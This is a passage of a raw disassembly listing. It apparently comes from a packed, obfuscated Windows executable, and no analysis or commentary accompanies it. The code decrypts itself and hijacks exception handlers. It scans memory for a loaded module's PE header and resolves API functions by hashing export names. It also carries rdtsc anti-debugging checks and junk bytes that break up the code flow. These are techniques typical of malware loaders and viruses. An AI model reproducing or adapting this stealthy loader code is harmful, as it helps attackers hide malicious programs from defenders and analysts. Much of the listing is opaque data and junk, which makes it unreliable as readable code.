53CF7Eh, 74000000h, 0A3000000h, 27CDA680h dd 0A9h, 3 dup(0) dd 0B6000000h, 0B2A79Bh, 4 dup(0) dd 76000000h, 5878h, 0 dd 1000000h, 200h, 4 dup(0) dd 14000000h, 9A28A000h, 5880h, 2 dup(0) dd 0B6000000h, 68B57Fh, 3 dup(0) dd 0D9000000h, 48BAD5A5h, 0FFFF85h, 0EC000000h, 5E64h dd 5 dup(0) dd 94000000h, 7C90EBh, 3 dup(0) dd 7A000000h, 9, 0A8000000h, 300144Bh, 29h, 2 dup(0) dd 0FE000000h, 0BB0Ah, 2 dup(0) dd 54000000h, 4B0012FFh, 5DF6h, 2 dup(0) dd 9A000000h, 5C2Dh, 0 dd 7E000000h, 0F1005F47h, 0A7h, 4 dup(0) dd 23000000h, 5C00h, 6 dup(0) dd 0EB000000h, 5E4Dh, 3 dup(0) dd 28000000h, 0B38Bh, 3 dup(0) dd 0BC000000h, 12FEh, 2 dup(0) dd 3A000000h, 2982D2h, 5D000000h, 5AC7E9h, 6 dup(0) dd 18000000h, 0BD7C90EEh, 0D9747Ah, 61000000h, 5C80h, 7A000000h dd 42F1E21Ah, 0E5072DDAh, 0F0C179h, 4 dup(0) dd 14000000h, 5E2Bh, 15h dup(0) dd 0A4000000h, 2 dup(0) dd 17000000h, 0D000B394h, 4001h, 0 dd 5D000000h, 7632597Fh, 5E03h, 5 dup(0) dd 68000000h, 5D7Eh, 2 dup(0) dd 89000000h, 0DEFE0Fh, 3 dup(0) dd 37000000h, 500090h, 0 dd 0FC000000h, 68h, 2 dup(0) dd 0E5000000h, 50006010h, 86A1E8h, 0Fh dup(0) dd 20000000h, 0FC00B319h, 7C8047h, 2 dup(0) dd 2C000000h, 0FFFFF1h, 5F64h, 4 dup(0) dd 58000000h, 7C863Fh, 2 dup(0) dd 0ED000000h, 5BA4h, 7 dup(0) dd 0C1000000h, 5C4Fh, 0ED000000h, 5FC2h, 5F000000h, 5C15h dd 4 dup(0) dd 8000000h, 0Fh, 20h, 0 dd 18000000h, 7C90EEh, 1Ch dup(0) dd 0B5000000h, 0F830F4h, 0E0000000h, 6CFFA45Fh, 7 dup(0) dd 44000000h, 0C246DAh, 0 dd 0A0000000h, 147C80ADh, 28A000h, 19h dup(0) dd 90000000h, 5EDCF3h, 44000000h, 0F00B31Ah, 0B318h, 8 dup(0) dd 92000000h, 5B6Dh, 0 dd 6C000000h, 0A3836F14h, 51001980h, 5FC6h, 2 dup(0) dd 7E000000h, 2 dup(0) dd 0AC000000h, 4 dup(0) dd 0B0000000h, 401F4FFh, 4 dup(0) dd 4000000h, 0 dd 47000000h, 0DE7C809Bh, 49D82Ah, 18000000h, 7C90EEh dd 0B7000000h, 0D0B8C84Fh, 0B22A8Ch, 5 dup(0) dd 27000000h, 0A9h, 2 dup(0) dd 0E4000000h, 0FFFF98h, 7 dup(0) dd 3000000h, 0FAh, 0EF000000h, 0BB0Ah, 1000000h, 46000000h dd 581B0Ch, 0 dd 47000000h, 89B3EAh, 6C026F00h, 836F14h, 74000000h, 7C9348h dd 2 dup(0) dd 0E0000000h, 110012FFh, 2, 0 dd 87000000h, 0C400A9D2h, 7C7DEEh, 2E000000h, 5E00h, 2 dup(0) dd 44000000h, 0C246DAh, 0ED7C8000h, 0B7005C61h, 5FDDh dd 6 dup(0) dd 9C000000h, 937CDFEFh, 0B424h, 0 dd 94000000h, 7C90EBh, 1000000h, 6C000000h, 0Fh, 0AFh dup(0) dd 45000000h, 187C8379h, 70000008h, 18000000h, 7C90EEh dd 3C000000h, 0B31Ah, 7000000h, 0FFA380h, 0 dd 44000000h, 0FFFFFFh, 0 dd 78000000h, 0Ah dup(0) dd 94000000h, 7C90EBh, 8D000000h, 1E108Dh, 23000000h, 5C00h dd 0 dd 0FA000000h, 1005C51h, 94000000h, 7C90EBh, 3 dup(0) dd 0E000000h, 5BF0h, 0E5000000h, 77DDEDh, 0F6000000h, 0BC005DFFh dd 36FFFF2Bh, 21005EDBh, 0BD212121h, 0BC59A0h, 2 dup(0) dd 6A000000h, 0FFA25Bh, 0E9000000h, 26h, 0 dd 0E8000000h, 0B300h, 0 dd 5000000h, 0A50A2801h, 0FE6BD0h, 3 dup(0) dd 0E9000000h, 1C8h, 8 dup(0) dd 94000000h, 0EBh, 8 dup(0) dd 24000000h, 242424h, 18000000h, 5CEAh, 0D1000000h, 7 dd 2 dup(0) dd 0E7000000h, 1177DDEBh, 0FFEC58h, 4 dup(0) dd 18000000h, 7C90EEh, 1000000h, 36000000h, 5BF0h, 5 dup(0) dd 27000000h, 20000A9h, 0 dd 0CB000000h, 6115h, 0 dd 0FF000000h, 49FFFFFFh, 0BCA58Dh, 0Ah dup(0) dd 0F000000h, 0FFA025h, 0 dd 51000000h, 7A00B38Eh, 5CBAh, 2Ch dup(0) dd 14000000h, 8FBB79h, 0Ah dup(0) dd 94000000h, 0A07C90EBh, 0CF000000h, 56h, 13000000h, 0B902h dd 0DE000000h, 0B049D82Ah, 5BA7h, 0C0000000h, 8A005BF1h dd 5C44h, 6 dup(0) dd 0B7000000h, 5FB1h, 0 dd 0F0000000h, 9477DD6Bh, 0F21FEBh, 0 dd 0FE005130h, 0BD7CDFEFh, 0BC59A0h, 1Ch dup(0) dd 0B4000000h, 0B001426Ch, 7AB668h, 19h dup(0) dd 60000000h, 12FFh, 4 dup(0) dd 5D000000h, 92005FECh, 5D70h, 2 dup(0) dd 0FE000000h, 0BB0Ah, 11h dup(0) dd 0DC000000h, 60FFFFA2h, 8D6241h, 0 dd 92000000h, 5B6Dh, 0 dd 0BD000000h, 2A6D2Bh, 2 dup(0) dd 94000000h, 7C90EBh, 0 dd 36000000h, 80h, 5 dup(0) dd 52000000h, 0FF44FEh, 0 dd 0A7000000h, 8B3B6Ah, 9 dup(0) dd 47000000h, 0DCh, 0 dd 0E3000000h, 5868h, 3 dup(0) dd 0A1000000h, 0B3AAh, 6 dup(0) dd 13000000h, 5D1Bh, 10h dup(0) dd 23000000h, 5C00h, 9C000000h, 7C9062h, 2 dup(0) dd 1120h, 5 dup(0) dd 1A000000h, 1C0061DAh, 0B31Ah, 0 dd 0DF000000h, 0BFA9C530h, 5C75h, 0 dd 40000000h, 0B31Ah, 0 dd 0BA000000h, 0F86F3Dh, 8 dup(0) dd 0F000000h, 0B318h, 4 dup(0) dd 3F000000h, 1D390Ah, 0F6000000h, 5DBBh, 49000000h, 0BCA58Dh dd 4 dup(0) dd 94000000h, 7C90EBh, 7FFDA0h, 6 dup(0) dd 69000000h, 0B91Eh, 18000000h, 7C90EEh, 7 dup(0) dd 0F6000000h, 113E4Bh, 94000000h, 7C90EBh, 18000000h dd 12E50EBFh, 0EF0742h, 0 dd 0CC000000h, 0FFFF8Bh, 0Fh dup(0) dd 94000000h, 7C90EBh, 0 dd 22000000h, 5C64h, 0 dd 1B000000h, 5852h, 0 dd 0CF000000h, 0B3A8h, 7 dup(0) dd 44000000h, 5CD9h, 0B0000000h, 9400006Eh, 7C90EBh, 0 dd 0FE000000h, 0BB0Ah, 4 dup(0) dd 23000000h, 93005C00h, 34F6B1h, 0 dd 93000000h, 585Bh, 0 dd 90000000h, 3C000000h, 0B4ECE2h, 0 dd 7F000000h, 84BFB7h, 6 dup(0) dd 7000000h, 0DE99EEh, 22000000h, 22222222h, 222222h, 42000000h dd 7C9033h, 16h dup(0) dd 27000000h, 125Bh, 3 dup(0) dd 46000000h, 0CB005F4Dh, 0E8006115h, 529AB2h, 9A000000h dd 3AFh, 83h dup(0) dd 80000000h, 50000002h, 0E9FDCB00h, 20Eh, 77000000h, 167C810Ah dd 90ABDAFAh, 76F212h, 0 dd 1E000000h, 0D000008Ch, 8FFEA420h, 0B8FFA271h, 60ECh dd 2 dup(0) dd 0B0000000h, 184FFh, 3 dup(0) dd 77DD00h, 4 dup(0) dd 0E3000000h, 9C005868h, 0FFFF9Eh, 0Ah dup(0) dd 2D000000h, 0AD764Bh, 5 dup(0) dd 1B000000h, 77DFC4h, 52000000h, 0EFF99Bh, 2 dup(0) dd 26E00h, 4 dup(0) dd 5A000000h, 77DDEEh, 0CA000000h, 10B798h, 5 dup(0) dd 0DF000000h, 0DABCB6D3h, 7C81CDh, 2 dup(0) dd 0DF000000h, 8C000030h, 0E005C98h, 1B7C8018h, 5846h dd 5 dup(0) dd 1000000h, 3 dup(0) dd 0E9000000h, 145h, 2 dup(0) dd 18000000h, 7C90EEh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_587353: ; CODE XREF: start:loc_583DBAj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 7E935A3h mov [ebp+7E90C71h], edx mov [ebp+7E92F75h], esi mov [ebp+7E90BA1h], eax cmp dword ptr [ebp+7E91DBDh], 0 jz short loc_58738B mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_58738B: ; CODE XREF: start+72369j mov eax, [esp+40h+var_1C] mov [ebp+7E909C5h], eax push 45h call sub_58743F push 783749Ah call sub_587485 push 0A894B25h call sub_587485 jmp loc_5875C9 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_58743F proc near ; CODE XREF: start+72383p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 7E93691h mov ebx, edx mov [ebp+var_28], 0 loc_58745B: ; CODE XREF: sub_58743F+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_58747A mov eax, [ebp+arg_0] mov [ebx+7E935FBh], eax inc [ebp+arg_0] inc ebx jmp short loc_58745B ; --------------------------------------------------------------------------- loc_58747A: ; CODE XREF: sub_58743F+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_58743F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_587485 proc near ; CODE XREF: start+7238Dp start+72397p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 7E936DAh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_5874AB: ; CODE XREF: sub_587485+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_5874AB mov [ebp+var_84], 0 lea edi, [edx+7E935FBh] lea esi, [ebp+var_80] loc_5874DB: ; CODE XREF: sub_587485+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_5874E7: ; CODE XREF: sub_587485+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_5874E7 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_5874DB popa leave retn 4 sub_587485 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_587525 ; --------------------------------------------------------------------------- loc_587521: ; CODE XREF: sdfs____:00587528j inc dword ptr [ebp-4] inc esi loc_587525: ; CODE XREF: sdfs____:0058751Fj cmp byte ptr [esi], 0 jnz short loc_587521 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_5875B6 ; --------------------------------------------------------------------------- loc_587537: ; CODE XREF: sdfs____:005875B9j mov dword ptr [ebp-8], 0 jmp short loc_5875AD ; --------------------------------------------------------------------------- loc_587540: ; CODE XREF: sdfs____:005875B1j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_58759A ; --------------------------------------------------------------------------- loc_587550: ; CODE XREF: sdfs____:0058759Ej shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_587572 cmp bl, 39h ja short loc_587572 sub bl, 30h jmp short loc_587594 ; --------------------------------------------------------------------------- loc_587572: ; CODE XREF: sdfs____:00587566j ; sdfs____:0058756Bj cmp bl, 61h jb short loc_587584 cmp bl, 66h ja short loc_587584 sub bl, 61h add bl, 0Ah jmp short loc_587594 ; --------------------------------------------------------------------------- loc_587584: ; CODE XREF: sdfs____:00587575j ; sdfs____:0058757Aj cmp bl, 41h jb short loc_587594 cmp bl, 46h ja short loc_587594 sub bl, 41h add bl, 0Ah loc_587594: ; CODE XREF: sdfs____:00587570j ; sdfs____:00587582j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_58759A: ; CODE XREF: sdfs____:0058754Ej cmp dword ptr [ebp-0Ch], 2 jb short loc_587550 cmp dword ptr [ebp-10h], 0 jbe short loc_5875AA mov eax, [ebp-10h] stosb loc_5875AA: ; CODE XREF: sdfs____:005875A4j inc dword ptr [ebp-8] loc_5875AD: ; CODE XREF: sdfs____:0058753Ej cmp dword ptr [ebp-8], 2 jb short loc_587540 add edx, 4 loc_5875B6: ; CODE XREF: sdfs____:00587535j cmp edx, [ebp-4] jb loc_587537 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5875C9: ; CODE XREF: start+7239Cj mov ecx, 7000h lea edi, [ebp+7E93820h] loc_5875D4: ; CODE XREF: start+725C4j dec byte ptr [edi] inc edi dec ecx jnz short loc_5875D4 mov eax, 48692121h mov edx, 0F0115000h sub edx, 0F0000000h lea eax, [ebp+7E938F8h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov bx, 2B21h mov ebx, eax push ecx clc pop ebx sub eax, edx pusha jns $+6 push edx mov di, dx pop edi popa and eax, 0FFFFF000h and bh, 62h mov ecx, edx xor edi, edi loc_587629: ; CODE XREF: start+72630j cmp word ptr [eax], 5A4Dh jnz short loc_58763E movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_587646 loc_58763E: ; CODE XREF: start+7261Aj sub eax, 1000h inc edi jmp short loc_587629 ; --------------------------------------------------------------------------- loc_587646: ; CODE XREF: start+72628j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+7E9390Bh] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_587680 mov esi, [eax+1Ch] loc_587680: ; CODE XREF: start+72667j xor eax, eax loc_587682: ; CODE XREF: start+72681j cmp eax, 32h jz short loc_5876A6 cmp word ptr [esi], 5A4Dh jz short loc_587697 loc_58768E: ; CODE XREF: start+72690j sub esi, 10000h inc eax jmp short loc_587682 ; --------------------------------------------------------------------------- loc_587697: ; CODE XREF: start+72678j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_5876E8 jmp short loc_58768E ; --------------------------------------------------------------------------- loc_5876A6: ; CODE XREF: start+72671j pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 7E93916h lea eax, [ebp+7E938D4h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5876E8: ; CODE XREF: start+7268Ej xchg eax, esi pop large dword ptr fs:0 add esp, 4 mov ebx, 1892A127h mov ebx, edx mov cx, ds or ebx, 2D75B222h mov ebx, 665CDCECh and cl, 4 jmp loc_587723 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 1AC215D8h, 0C9873132h, 0A821F2A4h, 53CBDD2Ch db 0E7h, 64h, 0A9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_587723: ; CODE XREF: start+726F7j or cl, cl jnz loc_587764 jmp loc_587738 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 87EFA7E3h, 0C681227h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_587738: ; CODE XREF: start+72717j mov dword ptr [ebp+7E91B69h], 1 jmp loc_58775B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 29h dd 3C2A227Fh, 9B5548FDh, 93BEE265h, 0FE129581h db 0BAh, 0F8h, 7Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_58775B: ; CODE XREF: start+7272Ej jmp loc_587770 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- push edx mov bh, 79h pop ebx ; START OF FUNCTION CHUNK FOR start loc_587764: ; CODE XREF: start+72711j mov dword ptr [ebp+7E91B69h], 0 mov bl, 88h loc_587770: ; CODE XREF: start:loc_58775Bj mov [ebp+7E92669h], eax jmp loc_587783 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- sub eax, 0C30CAB44h fisttp qword ptr [eax+35h] ; START OF FUNCTION CHUNK FOR start loc_587783: ; CODE XREF: start+72762j mov [ebp+7E90B11h], eax call sub_58779A mov [edi+49A11354h], dh jge short near ptr loc_5877F6+1 stosb dec eax or [edi], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_58779A proc near ; CODE XREF: start+72775p jmp sub_5877B0 sub_58779A endp ; --------------------------------------------------------------------------- mov ch, 0ECh adc cl, [edi-17C338A1h] pop ecx int 3 ; Trap to Debugger retn 3BEBh ; --------------------------------------------------------------------------- dd 0B598A60Eh ; =============== S U B R O U T I N E ======================================= sub_5877B0 proc near ; CODE XREF: sub_58779Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch pop ebx xor dx, 0F6DFh add ebx, 62DDh sbb ah, 5 sub ecx, ecx jns $+6 loc_5877C7: ; CODE XREF: sub_5877B0:loc_587844j mov esi, [ebx+ecx] cmc sub esi, 57870CB5h sub esi, 48174078h movsx edi, ax add esi, 4B72AE0Fh jmp loc_5877EB ; --------------------------------------------------------------------------- db 0B4h, 0A0h, 74h db 0C9h, 3Bh, 44h ; --------------------------------------------------------------------------- loc_5877EB: ; CODE XREF: sub_5877B0+30j push esi pusha mov ecx, ebx push ecx stc pop edi popa pop dword ptr [ebx+ecx] loc_5877F6: ; CODE XREF: start+72780j mov dx, 0D569h jnp loc_587802 mov al, 0E4h loc_587802: ; CODE XREF: sub_5877B0+4Aj sub ecx, 58C2F7A1h js loc_587811 mov dx, di loc_587811: ; CODE XREF: sub_5877B0+58j add ecx, 58C2F79Dh cmp ecx, 0FFFF9DE8h jnz loc_58783A mov dl, 86h jmp loc_587857 ; --------------------------------------------------------------------------- dw 8BB0h dd 31433F3Fh, 276309A6h, 2EAB9EBEh db 21h, 8Ch ; --------------------------------------------------------------------------- loc_58783A: ; CODE XREF: sub_5877B0+6Dj jmp loc_587844 ; --------------------------------------------------------------------------- db 0ADh dd 0D003135h ; --------------------------------------------------------------------------- loc_587844: ; CODE XREF: sub_5877B0:loc_58783Aj jmp loc_5877C7 ; --------------------------------------------------------------------------- db 4Bh, 0EEh, 4Fh ; --------------------------------------------------------------------------- retn 411Ch ; --------------------------------------------------------------------------- db 27h dd 3C5482FCh db 0E7h, 0C7h, 74h ; --------------------------------------------------------------------------- loc_587857: ; CODE XREF: sub_5877B0+75j jmp short loc_58785D ; --------------------------------------------------------------------------- db 1Bh, 2, 0 db 0 ; --------------------------------------------------------------------------- loc_58785D: ; CODE XREF: sub_5877B0:loc_587857j jmp loc_587ECA ; --------------------------------------------------------------------------- jmp loc_587876 ; --------------------------------------------------------------------------- db 65h dd 4ED9587Bh, 0C91D2473h, 1B0DCCB2h db 0Fh, 91h ; --------------------------------------------------------------------------- loc_587876: ; CODE XREF: sub_5877B0+B2j pusha mov [ebp+7E92079h], eax sub eax, eax mov [ebp+7E91E1Dh], eax mov edx, [esp+1Ch+arg_8] cld mov [ebp+7E90E9Dh], eax jmp loc_5878A6 ; --------------------------------------------------------------------------- db 7Ah, 67h, 0B4h dd 0D512A2EEh, 76430E8Eh, 2F5C8816h ; --------------------------------------------------------------------------- pushf das loc_5878A6: ; CODE XREF: sub_5877B0+E0j mov [ebp+7E90BD1h], esi mov esi, 3Ch mov [ebp+7E914F1h], eax add esi, [esp+20h+arg_0] jmp loc_5878C6 ; --------------------------------------------------------------------------- dd 0C0CB2C0Eh ; --------------------------------------------------------------------------- push ecx stc loc_5878C6: ; CODE XREF: sub_5877B0+10Bj lodsw pusha and al, 0F6h jge loc_5878D7 adc bx, 11CDh loc_5878D7: ; CODE XREF: sub_5877B0+11Cj popa or [ebp+7E91835h], eax add eax, [esp+24h] cmc nop jle loc_5878F8 pusha push eax push edx rdtsc pop edx pop eax jnz $+6 popa loc_5878F8: ; CODE XREF: sub_5877B0+134j push eax jmp loc_587904 ; --------------------------------------------------------------------------- dw 3343h dd 1242AB92h ; --------------------------------------------------------------------------- loc_587904: ; CODE XREF: sub_5877B0+149j nop pusha call loc_587916 mov bl, 0D5h db 65h mov esp, 6564A3F1h aad 87h in eax, dx loc_587916: ; CODE XREF: sub_5877B0+156p pop edi jmp loc_58792D ; --------------------------------------------------------------------------- dd 0FBCA611Dh, 1F91A7C5h, 22499CF1h, 0C8E10984h ; --------------------------------------------------------------------------- pop eax loc_58792D: ; CODE XREF: sub_5877B0+167j popa mov eax, [eax+78h] cmc add eax, [esp+20h+arg_4] clc mov eax, [eax+18h] sub [ebp+7E922F9h], edi pusha mov [ebp+7E91935h], edi add esi, 13432DF6h popa inc eax or [ebp+7E91191h], eax mov [ebp+7E93A9Fh], eax xor [ebp+7E93441h], ecx sub [ebp+7E91855h], edi pop eax jmp loc_587977 ; --------------------------------------------------------------------------- db 8Ch, 57h, 6Fh dd 93DB1386h db 0ECh, 0D0h, 6Eh ; --------------------------------------------------------------------------- loc_587977: ; CODE XREF: sub_5877B0+1B8j mov esi, [eax+78h] pusha mov [ebp+7E90C59h], edx mov dh, 50h popa add esi, 1Ch pusha mov [ebp+7E908BDh], esi sub [ebp+7E92F85h], edi popa add esi, [esp+1Ch+arg_4] clc lea edi, [ebp+7E92501h] cmc lodsd stc add eax, [esp+1Ch+arg_4] jmp loc_5879BA ; --------------------------------------------------------------------------- pop eax inc edi xchg eax, ecx mov edi, 0EA87BCB3h push ebp test [eax], ecx ror byte ptr [ecx+48h], cl loc_5879BA: ; CODE XREF: sub_5877B0+1F7j jmp loc_5879D3 ; --------------------------------------------------------------------------- db 89h, 0E4h db 15h, 0B6h, 6Fh dd 0E0F926AFh, 0F3E7F8ABh, 0AED9F8DDh db 56h, 9Fh, 0BDh ; --------------------------------------------------------------------------- loc_5879D3: ; CODE XREF: sub_5877B0:loc_5879BAj stosd pusha xor ebx, 61DA5EF7h add [ebp+7E921FDh], edx popa lea edi, [ebp+7E90B79h] cmc lodsd jz loc_5879F6 sub [ebp+7E900F1h], edi loc_5879F6: ; CODE XREF: sub_5877B0+23Aj jb loc_5879FD cmc loc_5879FD: ; CODE XREF: sub_5877B0:loc_5879F6j add eax, [esp+1Ch+arg_4] sub [ebp+7E90C2Dh], esi nop jmp loc_587A13 ; --------------------------------------------------------------------------- db 13h, 7Ch, 1Fh db 32h, 84h, 99h ; --------------------------------------------------------------------------- loc_587A13: ; CODE XREF: sub_5877B0+258j push eax jz loc_587A21 pusha pusha popa mov di, bx popa loc_587A21: ; CODE XREF: sub_5877B0+264j nop jmp loc_587A2E ; --------------------------------------------------------------------------- db 70h dd 0BD8C3BD1h ; --------------------------------------------------------------------------- jmp dword ptr [edi] ; --------------------------------------------------------------------------- loc_587A2E: ; CODE XREF: sub_5877B0+272j stosd jmp loc_587A42 ; --------------------------------------------------------------------------- dd 0FCF7712Ah, 0EB421A72h, 8FEF3FBBh db 52h, 0A8h ; --------------------------------------------------------------------------- loc_587A42: ; CODE XREF: sub_5877B0+27Fj sub [ebp+7E91C55h], ebx lea edi, [ebp+7E915CDh] mov [ebp+7E91849h], edi xor [ebp+7E91225h], edx lodsd stc add eax, [esp+20h+arg_4] pusha add [ebp+7E91AB5h], edx mov [ebp+7E92665h], edx popa stosd cmc pop esi pusha add edi, 31F3D761h sub si, 5A7h popa loc_587A7E: ; CODE XREF: sub_5877B0+35Aj dec dword ptr [ebp+7E93A9Fh] cmp dword ptr [ebp+7E93A9Fh], 0 jnz short loc_587A9D mov dword ptr [esp+1Ch], 0 lea esi, [ebp+7E93EB4h] jmp esi ; --------------------------------------------------------------------------- loc_587A9D: ; CODE XREF: sub_5877B0+2DBj push esi lodsd add eax, [esp+20h+arg_4] xchg eax, edi mov ebx, edi mov al, [ebp+7E92659h] test al, al jz short loc_587AB4 cmp al, [edi] jnz short loc_587B00 loc_587AB4: ; CODE XREF: sub_5877B0+2FEj push edi xor al, al loc_587AB7: ; CODE XREF: sub_5877B0+308j scasb jnz short loc_587AB7 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_587AC4: ; CODE XREF: sub_5877B0+33Dj xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_587AD3: ; CODE XREF: sub_5877B0+336j shr bx, 1 rcr ax, 1 jnb short loc_587AE4 xor ax, 5041h xor bx, 5449h loc_587AE4: ; CODE XREF: sub_5877B0+329j dec dh jnz short loc_587AD3 xor ecx, eax xor edx, ebx dec edi jnz short loc_587AC4 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_587B0F loc_587B00: ; CODE XREF: sub_5877B0+302j pop esi add esi, 4 inc dword ptr [ebp+7E90E9Dh] jmp loc_587A7E ; --------------------------------------------------------------------------- loc_587B0F: ; CODE XREF: sub_5877B0+34Ej pop esi jo loc_587B24 pusha mov ebx, [ebp+7E91DFDh] add [ebp+7E93439h], edi popa loc_587B24: ; CODE XREF: sub_5877B0+360j clc mov eax, [ebp+7E90E9Dh] cmc shl eax, 1 clc add eax, [ebp+7E915CDh] jb loc_587B3C cmc loc_587B3C: ; CODE XREF: sub_5877B0+385j mov esi, 0 cmc xchg eax, esi clc lodsw jmp loc_587B58 ; --------------------------------------------------------------------------- db 0EEh dd 0EAE3A87Eh, 37A3CA39h, 86068638h ; --------------------------------------------------------------------------- loc_587B58: ; CODE XREF: sub_5877B0+396j shl eax, 2 mov [ebp+7E90C95h], ecx xor [ebp+7E90051h], esi add eax, [ebp+7E92501h] mov [ebp+7E93221h], edi xchg eax, esi jmp loc_587B85 ; --------------------------------------------------------------------------- db 9, 82h, 9Fh dd 120C2CC9h, 0BB8E38EFh db 0B0h ; --------------------------------------------------------------------------- loc_587B85: ; CODE XREF: sub_5877B0+3C4j lodsd cld mov ecx, [esp+1Ch+arg_4] jmp loc_587B95 ; --------------------------------------------------------------------------- dd 664F3200h db 0E0h ; --------------------------------------------------------------------------- loc_587B95: ; CODE XREF: sub_5877B0+3DBj add eax, [esp+1Ch+arg_4] mov [ebp+7E9247Dh], edx cmc mov [esp+1Ch], eax mov [ebp+7E90B61h], eax xchg eax, esi mov [ebp+7E91D05h], edx lodsb pusha jp loc_587BCF jmp loc_587BCF ; --------------------------------------------------------------------------- dw 1CA0h dd 0A9B294BFh, 467967B5h, 7434EE6Eh db 6Dh, 98h, 0A2h ; --------------------------------------------------------------------------- loc_587BCF: ; CODE XREF: sub_5877B0+403j ; sub_5877B0+409j clc popa xor cl, cl clc inc cl pusha mov bh, 24h xor esi, [ebp+7E900F1h] popa loc_587BE0: ; CODE XREF: sub_5877B0+477j rcl al, 1 jnb loc_587C6E cmc xor [ebp+7E9017Dh], edx rcl al, 1 jnb loc_587C6E jmp loc_587C03 ; --------------------------------------------------------------------------- lds ebp, [eax+4F764AD0h] pop edx loc_587C03: ; CODE XREF: sub_5877B0+447j rcl al, 1 jb loc_587C6E mov [ebp+7E90C25h], ebx rcl al, 1 jb loc_587C6E pusha jno loc_587C22 push ecx pop edx loc_587C22: ; CODE XREF: sub_5877B0+46Aj mov dl, ah popa dec cl jns loc_587BE0 jmp loc_587C41 ; --------------------------------------------------------------------------- dw 469h dd 6F21A31Ch, 1A71D720h, 0A38FA60Fh db 2Ah ; --------------------------------------------------------------------------- loc_587C41: ; CODE XREF: sub_5877B0+47Dj add esp, 20h stc mov [esp-8+arg_0], 0 stc mov eax, 1 jmp loc_587C5F ; --------------------------------------------------------------------------- dd 825F24E5h ; --------------------------------------------------------------------------- movsd or al, 0B5h loc_587C5F: ; CODE XREF: sub_5877B0+4A3j lea ecx, [ebp+7E96E15h] sub [ebp+7E92049h], edi jmp ecx ; --------------------------------------------------------------------------- stc loc_587C6E: ; CODE XREF: sub_5877B0+432j ; sub_5877B0+441j ... mov byte ptr 